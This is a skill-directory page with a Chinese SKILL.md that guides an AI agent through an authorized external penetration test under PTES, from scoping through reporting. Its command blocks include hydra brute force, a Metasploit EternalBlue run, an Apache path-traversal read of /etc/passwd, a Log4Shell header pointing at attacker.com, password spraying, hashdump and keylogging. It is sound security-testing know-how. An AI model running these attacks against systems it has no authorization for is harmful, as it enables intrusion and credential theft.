performing-external-network-penetration-test

依照 PTES 方法论,通过侦察、扫描、漏洞利用和报告等阶段,对面向互联网的基础设施执行全面的外部网络渗透测试,识别可利用漏洞。

9 stars

Best use case

performing-external-network-penetration-test is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

依照 PTES 方法论,通过侦察、扫描、漏洞利用和报告等阶段,对面向互联网的基础设施执行全面的外部网络渗透测试,识别可利用漏洞。

Teams using performing-external-network-penetration-test should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/performing-external-network-penetration-test/SKILL.md --create-dirs "https://raw.githubusercontent.com/killvxk/cybersecurity-skills-zh/main/skills/performing-external-network-penetration-test/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/performing-external-network-penetration-test/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How performing-external-network-penetration-test Compares

Feature / Agentperforming-external-network-penetration-testStandard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

依照 PTES 方法论,通过侦察、扫描、漏洞利用和报告等阶段,对面向互联网的基础设施执行全面的外部网络渗透测试,识别可利用漏洞。

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# 执行外部网络渗透测试

## 概述

外部网络渗透测试模拟真实攻击者针对组织互联网面向资产(如防火墙、Web 服务器、邮件服务器、DNS 服务器、VPN 网关和云端点)发起的攻击。目标是在恶意攻击者之前识别可利用漏洞,遵循 PTES(渗透测试执行标准)、OSSTMM 和 NIST SP 800-115 等框架。

## 前置条件

- 书面授权(由资产所有者签署的交战规则文件)
- 明确的测试范围:IP 范围、域名、子域名及排除项
- 测试环境:安装了最新工具的 Kali Linux 或 Parrot OS
- VPN/专用测试基础设施,以避免 IP 封锁
- 与 SOC/NOC 协调测试时间窗口

## 阶段一:预约定与范围划定

### 制定交战规则

```
范围:
  - 目标 IP 范围:203.0.113.0/24, 198.51.100.0/24
  - 域名:*.target.com, *.target.io
  - 排除项:203.0.113.50(生产数据库),*.staging.target.com
  - 测试窗口:周一至周五 22:00-06:00 UTC
  - 紧急联系人:SOC 负责人 — +1-555-0100
  - 授权编号:PENTEST-2025-EXT-042
```

### 法律文件检查清单

| 文件 | 状态 | 负责人 |
|----------|--------|-------|
| 主服务协议(MSA) | 已签署 | 法务 |
| 工作说明书(SOW) | 已签署 | PM |
| 交战规则(RoE) | 已签署 | CISO |
| 免责信 | 已签署 | CTO |
| 保密协议(NDA) | 已签署 | 法务 |
| 保险证明 | 已核验 | 风险管理 |

## 阶段二:侦察(信息收集)

### 被动侦察

```bash
# OSINT — 子域名枚举
subfinder -d target.com -o subdomains.txt
amass enum -passive -d target.com -o amass_subs.txt
cat subdomains.txt amass_subs.txt | sort -u > all_subs.txt

# DNS 记录枚举
dig target.com ANY +noall +answer
dig target.com MX +short
dig target.com NS +short
dig target.com TXT +short

# WHOIS 和 ASN 查询
whois target.com
whois -h whois.radb.net -- '-i origin AS12345'

# 证书透明度日志搜索
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value' | sort -u

# Google 搜索技巧(Dorking)
# site:target.com filetype:pdf
# site:target.com inurl:admin
# site:target.com intitle:"index of"

# Shodan 枚举
shodan search "org:Target Corp" --fields ip_str,port,product
shodan host 203.0.113.10

# 邮件收割
theHarvester -d target.com -b all -l 500 -f theharvester_results

# GitHub/GitLab 密钥扫描
trufflehog github --org=targetcorp --concurrency=5
gitleaks detect --source=https://github.com/targetcorp/repo
```

### 主动侦察

```bash
# 主机发现 — ping 扫描
nmap -sn 203.0.113.0/24 -oG ping_sweep.gnmap

# TCP SYN 扫描 — 前 1000 个端口
nmap -sS -sV -O -T4 203.0.113.0/24 -oA tcp_scan

# 全 TCP 端口扫描
nmap -sS -p- -T4 --min-rate 1000 203.0.113.0/24 -oA full_tcp

# UDP 扫描 — 前 100 个端口
nmap -sU --top-ports 100 -T4 203.0.113.0/24 -oA udp_scan

# 服务版本和脚本扫描
nmap -sV -sC -p 21,22,25,53,80,110,143,443,445,993,995,3389,8080,8443 203.0.113.0/24 -oA service_scan

# SSL/TLS 枚举
sslscan 203.0.113.10:443
testssl.sh --full https://target.com

# Web 技术指纹识别
whatweb -v https://target.com
wappalyzer https://target.com
```

## 阶段三:漏洞分析

### 自动化扫描

```bash
# Nessus 扫描(通过 CLI)
nessuscli scan --new --name "External-Pentest-2025" \
  --targets 203.0.113.0/24 \
  --policy "Advanced Network Scan"

# OpenVAS 扫描
gvm-cli socket --xml '<create_task>
  <name>External Pentest</name>
  <target id="target-uuid"/>
  <config id="daba56c8-73ec-11df-a475-002264764cea"/>
</create_task>'

# Nuclei 漏洞扫描器
nuclei -l all_subs.txt -t cves/ -t exposures/ -t misconfigurations/ \
  -severity critical,high -o nuclei_results.txt

# Nikto Web 服务器扫描
nikto -h https://target.com -output nikto_results.html -Format htm

# 目录和文件枚举
gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x php,asp,aspx,jsp,html,txt -o gobuster_results.txt
feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
  --depth 3 -o ferox_results.txt
```

### 手动漏洞验证

```bash
# 检查已识别服务的已知 CVE
searchsploit apache 2.4.49
searchsploit openssh 8.2

# 测试默认凭据
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
  -P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt \
  ssh://203.0.113.10 -t 4

# 测试 VPN 端点
ike-scan 203.0.113.20
# 检查 IKEv1 积极模式

# SNMP 枚举
snmpwalk -v2c -c public 203.0.113.30
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt 203.0.113.0/24

# SMTP 枚举
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 203.0.113.25
```

## 阶段四:漏洞利用

### 网络服务利用

```bash
# Metasploit — EternalBlue(MS17-010)示例
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 203.0.113.15
set LHOST 10.10.14.5
set LPORT 4444
exploit

# Apache 远程代码执行 — CVE-2021-41773 / CVE-2021-42013
curl -s --path-as-is "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

# ProxyShell 利用(Exchange)
python3 proxyshell_exploit.py -u https://mail.target.com -e admin@target.com

# Log4Shell(CVE-2021-44228)测试
curl -H 'X-Api-Version: ${jndi:ldap://attacker.com/exploit}' https://target.com/api
```

### Web 应用利用

```bash
# 使用 sqlmap 进行 SQL 注入
sqlmap -u "https://target.com/page?id=1" --batch --dbs --risk=3 --level=5

# XSS 载荷测试
dalfox url "https://target.com/search?q=test" --skip-bav

# 命令注入测试
commix --url="https://target.com/ping?host=127.0.0.1" --batch

# 文件上传绕过
# 上传带双扩展名的 PHP Shell:shell.php.jpg
# 测试 Content-Type 绕过:application/octet-stream -> image/jpeg
```

### 密码攻击

```bash
# 暴力破解 RDP
crowbar -b rdp -s 203.0.113.40/32 -u admin -C /usr/share/wordlists/rockyou.txt -n 4

# 针对 OWA 的密码喷洒
sprayhound -U users.txt -p 'Spring2025!' -d target.com -url https://mail.target.com/owa

# 破解捕获的哈希
hashcat -m 5600 captured_ntlmv2.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
```

## 阶段五:后渗透

```bash
# 建立持久化(仅限授权测试)
# Meterpreter 会话
meterpreter> sysinfo
meterpreter> getuid
meterpreter> hashdump
meterpreter> run post/multi/recon/local_exploit_suggester

# 权限提升检查
# Linux
./linpeas.sh | tee linpeas_output.txt
# Windows
.\winPEAS.exe | tee winpeas_output.txt

# 数据外泄证明
# 创建证明文件(切勿实际外泄真实敏感数据)
echo "PENTEST-PROOF-$(date +%Y%m%d)" > /tmp/pentest_proof.txt

# 通过已控制主机进行网络穿透
# 通过 SSH 设置 SOCKS 代理
ssh -D 9050 user@203.0.113.15
proxychains nmap -sT -p 80,443,445 10.0.0.0/24

# 截图和证据收集
meterpreter> screenshot
meterpreter> keyscan_start
```

## 阶段六:报告

### 发现分类(CVSS v3.1)

| 严重性 | CVSS 范围 | 数量 | 示例 |
|----------|-----------|-------|---------|
| 严重 | 9.0-10.0 | 2 | 通过未修补 Exchange 的 RCE(ProxyShell) |
| 高危 | 7.0-8.9 | 5 | 客户门户中的 SQL 注入 |
| 中危 | 4.0-6.9 | 8 | 缺少安全标头、TLS 1.0 |
| 低危 | 0.1-3.9 | 12 | 通过服务器 Banner 的信息泄露 |
| 信息 | 0.0 | 6 | 开放端口文档 |

### 报告结构

```
1. 执行摘要
   - 范围与目标
   - 关键发现摘要
   - 风险评级概览
   - 战略建议

2. 技术发现
   每项发现包含:
   - 标题和 CVSS 评分
   - 受影响资产
   - 描述和影响
   - 重现步骤(含截图)
   - 证据/利用证明
   - 修复建议
   - 参考资料(CVE、CWE)

3. 方法论
   - 使用的工具
   - 测试时间线
   - 遵循的框架(PTES、OWASP)

4. 附录
   - 完整扫描结果
   - 网络拓扑图
   - 原始工具输出
```

## 修复优先级矩阵

| 优先级 | 时间线 | 行动 |
|----------|----------|--------|
| P1 — 严重 | 24-48 小时 | 修补 RCE 漏洞,禁用暴露的管理面板 |
| P2 — 高危 | 1-2 周 | 修复注入缺陷,实施 MFA |
| P3 — 中危 | 30 天 | 加固 TLS 配置,添加安全标头 |
| P4 — 低危 | 60-90 天 | 移除版本 Banner,更新文档 |

## 工具参考

| 工具 | 用途 | 许可证 |
|------|---------|---------|
| Nmap | 端口扫描和服务枚举 | GPLv2 |
| Metasploit | 漏洞利用框架 | BSD |
| Burp Suite Pro | Web 应用测试 | 商业 |
| Nuclei | 漏洞扫描 | MIT |
| Subfinder | 子域名枚举 | MIT |
| SQLMap | SQL 注入测试 | GPLv2 |
| Nessus | 漏洞扫描器 | 商业 |
| Gobuster | 目录暴力破解 | Apache 2.0 |
| Hashcat | 密码破解 | MIT |
| theHarvester | OSINT 邮件/域名收集 | GPLv2 |

## 参考资料

- PTES(渗透测试执行标准): http://www.pentest-standard.org/
- OWASP 测试指南 v4.2: https://owasp.org/www-project-web-security-testing-guide/
- NIST SP 800-115:信息安全测试技术指南: https://csrc.nist.gov/publications/detail/sp/800-115/final
- OSSTMM v3: https://www.isecom.org/OSSTMM.3.pdf
- MITRE ATT&CK: https://attack.mitre.org/

Related Skills

testing-websocket-api-security

9
from killvxk/cybersecurity-skills-zh

测试 WebSocket API 实现中的安全漏洞,包括 WebSocket 升级时缺少身份认证、跨站 WebSocket 劫持(Cross-Site WebSocket Hijacking,CSWSH)、通过 WebSocket 消息进行的注入攻击、输入校验不足、通过消息泛洪实施拒绝服务,以及通过 WebSocket 帧造成的信息泄露。测试人员使用 Burp Suite 拦截 WebSocket 握手和消息,构造恶意 payload,并测试 WebSocket 通道上的授权绕过。适用于 WebSocket 安全测试、WS 渗透测试、CSWSH 攻击或实时 API 安全评估相关请求。

testing-oauth2-implementation-flaws

9
from killvxk/cybersecurity-skills-zh

测试 OAuth 2.0 和 OpenID Connect 实现中的安全缺陷,包括授权码拦截、重定向 URI 操控、OAuth 流程中的 CSRF、令牌泄露、权限范围(scope)提升以及 PKCE 绕过。测试人员对授权服务器、客户端应用及令牌处理进行评估,发现可导致账户接管或未授权访问的常见错误配置。适用于 OAuth 安全测试、OIDC 漏洞评估、OAuth2 重定向绕过或授权码流程测试相关请求。

testing-mobile-api-authentication

9
from killvxk/cybersecurity-skills-zh

测试移动应用 API 的认证与授权机制,识别认证失效、不安全的令牌管理、会话固定、 权限提升和 IDOR 漏洞。适用于对移动应用后端进行 API 安全评估、测试 JWT 实现、 评估 OAuth 流程或评估会话管理的场景。适合涉及移动 API 认证测试、令牌安全评估、 OAuth 移动端流程测试或 API 授权绕过的相关请求。

testing-jwt-token-security

9
from killvxk/cybersecurity-skills-zh

在安全测试活动中,评估 JSON Web Token(JWT)实现中的密码学弱点、算法混淆攻击和授权绕过漏洞。

testing-for-xxe-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

在授权的渗透测试中发现和利用 XML 外部实体(XXE)注入漏洞,以读取服务器文件、执行 SSRF 并外泄数据。

testing-for-xss-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。

testing-for-xss-vulnerabilities-with-burpsuite

9
from killvxk/cybersecurity-skills-zh

在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。

testing-for-xml-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 Web 应用程序中的 XML 注入漏洞,包括 XXE(XML 外部实体注入)、XPath 注入和 XML 实体攻击,以识别数据泄露和服务器端请求伪造(SSRF)风险。

testing-for-sensitive-data-exposure

9
from killvxk/cybersecurity-skills-zh

在安全评估中识别敏感数据暴露漏洞,包括 API 密钥泄露、响应中的 PII、不安全存储以及未受保护的数据传输。

testing-for-open-redirect-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

通过分析 URL 重定向参数、绕过技术和利用链,识别并测试 Web 应用程序中的开放重定向漏洞,用于网络钓鱼和 Token 窃取。

testing-for-json-web-token-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 JWT 实现中的关键漏洞,包括算法混淆、none 算法绕过、kid 参数注入和弱密钥利用,以实现认证绕过和权限提升。

testing-for-host-header-injection

9
from killvxk/cybersecurity-skills-zh

测试 Web 应用程序的 HTTP Host 头部注入漏洞,以识别密码重置中毒、Web 缓存投毒、SSRF 以及虚拟主机路由操控风险。